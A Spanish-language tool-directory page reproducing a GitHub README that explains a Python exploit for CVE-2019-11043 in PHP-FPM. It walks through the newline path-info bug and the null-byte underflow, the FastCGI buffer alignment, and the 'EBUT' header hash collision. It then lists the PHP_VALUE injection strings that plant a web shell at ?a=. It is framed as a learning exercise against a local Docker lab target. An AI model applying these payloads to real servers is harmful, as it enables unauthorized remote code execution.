Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-11043 — Exploit de ejecución remota de comandos en PHP-FPM | Kitploit
Herramientas/GitHubGitHub/lindemer/cve-2019-11043
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHublindemer/cve-2019-11043

CVE-2019-11043

Exploit de ejecución remota de comandos en PHP-FPM

Ver Repositorio
42hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-11043

Ejecución remota de código en PHP-FPM

Videotutorial: https://youtu.be/d6benC5FVZM

Resumen

Este exploit de día cero en configuraciones comunes de PHP-FPM fue descubierto durante la competencia Realworld CTF en 2019. Se utiliza una expresión regular para analizar la URI solicitada, pero los caracteres de nueva línea %0a no coinciden. Esto desencadena un bug en FastCGI que calcula incorrectamente la longitud de la cadena de consulta y escribe un byte nulo en una ubicación anterior al inicio del búfer previsto. Mediante una selección cuidadosa de la longitud de la cadena de consulta, un atacante puede usar este bug para sobrescribir variables internas de PHP en el servidor y ejecutar código shell arbitrario.

La implementación original en Go de este exploit se puede encontrar aquí. He utilizado esto, un análisis y el informe de error original como recursos de aprendizaje para implementar el exploit en Python.

Instrucciones

Docker en Linux Ejecute sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 para instanciar un servidor NGINX/PHP-FPM básico con un script vacío en /script.php. El Dockerfile para esta imagen está disponible aquí, aunque no es necesario para ejecutar el comando mencionado.

Docker en Mac Ejecute sudo docker-compuse up -d desde el directorio /php/CVE-2019-11043 del repositorio vulhub. (Compose está incluido con Docker para Mac.)

Ejecute el script del exploit con el comando python3 exploit.py http://localhost:8080/script.php (o /index.php si se usó la segunda opción). Tras una ejecución exitosa, se podrá acceder a una shell web añadiendo comandos a la URL después de ?a= (p. ej., http://localhost:8080/script.php?a=uname -a).

N. B.: Intenté crear un playbook de Ansible para esta tarea, pero me encontré con un error bloqueante documentado aquí. No es posible iniciar servicios systemd en kernels recientes de Linux (p. ej., cualquier versión LTS de Ubuntu) con un playbook de Ansible.

Teoría

Vulnerabilidad

Los archivos de configuración de PHP-FPM contienen una regla para hacer coincidir las solicitudes URI entrantes con scripts PHP, que a menudo se ve así:

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info       ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass                  php:9000;
  ...
}

Esto debería coincidir con cualquier URI de la forma /script.php/pathinfo, pero . en realidad no coincide con los caracteres de nueva línea %0a. Si la URI contiene una nueva línea, se desencadena el siguiente bug en la implementación de PHP:

root@kitploit:~
1141    int ptlen = strlen(pt);
1142    int slen = len - ptlen;
1143    int pilen = env_path_info ? strlen(env_path_info) : 0;
1144    int tflag = 0;
1145    char *path_info;
1146    if (apache_was_here) {
1147        /* recall that PATH_INFO won't exist */
1148        path_info = script_path_translated + ptlen;
1149        tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150    } else {
1151        path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152        tflag = (orig_path_info != path_info);
1153    }

El problema aquí es que slen se calcula correctamente como la longitud de la URI menos la longitud de la ruta del recurso, pero pilen se establece erróneamente a 0. Esto establece path_info a un valor negativo en la línea 1151, lo que produce un desbordamiento de búfer por debajo (buffer underflow). Inmediatamente después de este error de cálculo en el mismo archivo, tenemos:

root@kitploit:~
1159    FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160    old = path_info[0];
1161    path_info[0] = 0;
1162    if (!orig_script_name ||
1163        strcmp(orig_script_name, env_path_info) != 0) {
1164        if (orig_script_name) {
1165            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166        }
1167        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168    } else {
1169        SG(request_info).request_uri = orig_script_name;
1170    }
1171    path_info[0] = old;

En la línea 1161, se escribe un byte nulo en la ubicación de memoria calculada erróneamente del paso anterior. Esto se puede aprovechar para explotar una vulnerabilidad en la línea 1165, donde FastCGI escribe una variable de entorno. Al escribir el byte nulo en el puntero que controla la operación de escritura de la variable de entorno, podemos insertar variables arbitrarias de PHP en el entorno con nuestras solicitudes HTTP.

Exploit

Estructuras de datos internas de FastCGI

Las variables de entorno en FastCGI se almacenan en una secuencia compacta de pares de cadenas clave-valor en memoria. El inicio y el final del búfer que contiene estas cadenas se denomina _fcgi_data_seg. El miembro pos apunta al siguiente lugar disponible para escribir. Si el búfer se llena (pos > end), se asigna uno nuevo y el miembro next apunta al anterior.

root@kitploit:~
118    typedef struct _fcgi_data_seg {
119        char                  *pos;
120        char                  *end;
121    	   struct _fcgi_data_seg *next;
122    	   char                   data[1];
123    } fcgi_data_seg;

FastCGI accede a variables de entorno individuales mediante una tabla hash llamada _fcgi_hash.

root@kitploit:~
125    typedef struct _fcgi_hash {
126    	   fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
127    	   fcgi_hash_bucket  *list;
128        fcgi_hash_buckets *buckets;
129        fcgi_data_seg     *data;
130    } fcgi_hash;

La idea aquí es sobrescribir el byte menos significativo de pos para engañar a FastCGI y hacer que sobrescriba una variable existente. Se supone que el código tome la cadena añadida a nuestra ruta URI y la coloque en la ubicación de PATH_INFO. Sin embargo, queremos sobrescribir PHP_VALUE, porque este valor se recupera inmediatamente y se carga en la configuración de PHP después del segmento de código vulnerable.

Alineación de datos

Como se puede ver en exploit.py, la premisa general de este exploit es encontrar una consulta URI muy larga que alinee el búfer de memoria interno de FastCGI de una manera que podamos abusar. La idea es encontrar el número exacto de caracteres necesarios para que FastCGI asigne un nuevo búfer _fcgi_data_seg. Cuando esto ocurre, FastCGI escribirá predeciblemente nuestro PATH_INFO en el nuevo búfer, seguido inmediatamente por cada uno de nuestros encabezados HTTP como nuevos valores de entorno. Entonces, el siguiente paso es averiguar con cuántos caracteres necesitamos rellenar un encabezado HTTP arbitrario para alinear la memoria a nuestro favor. Dado que estamos limitados a escribir un byte nulo en una ubicación arbitraria, necesitamos que pos apunte a un desplazamiento predecible respecto a PHP_VALUE, de modo que la edición del byte menos significativo lo mueva allí.

Evasión de la tabla hash

El desafío es que queremos sobrescribir PHP_VALUE, pero no sabemos dónde se encuentra en memoria. Cuando FastCGI carga esta variable, aplica un hash a la cadena PHP_VALUE para obtener la dirección de memoria real según un algoritmo simple:

root@kitploit:~
31    #define FCGI_HASH_FUNC(var, var_len) \
32        (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33        (((unsigned int)var[3]) << 2) + \
34        (((unsigned int)var[var_len-2]) << 4) + \
35        (((unsigned int)var[var_len-1]) << 2) + \
36        var_len)

En lugar de modificar realmente la tabla hash de alguna manera, todo lo que tenemos que hacer es crear otra variable de entorno con la misma longitud de cadena y el mismo hash que PHP_VALUE según esta función. Esto engañará a la búsqueda en la tabla hash para que lea nuestro encabezado HTTP en lugar de la variable prevista. El autor de este exploit observó astutamente que un encabezado llamado EBUT se guardará como HTTP_EBUT en el entorno de FastCGI, lo que cumple este requisito.

Inyección de código

Para el ataque en sí, enviamos solicitudes GET que contienen nuestro encabezado EBUT y usamos el bug de sobrescritura de byte nulo para sobrescribir su valor. Intentamos establecer las variables de entorno de PHP una a una con solicitudes repetidas:

root@kitploit:~
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"

La modificación exitosa de todas estas variables habilita una nueva consulta ?a= en el servidor para la ejecución arbitraria de código shell. El bucle del ataque comprueba el éxito en cada iteración intentando ejecutar which which. El atacante puede detectar fácilmente si esto fue exitoso leyendo el resultado de la respuesta HTTP (p. ej., /bin/which).

Descargar herramienta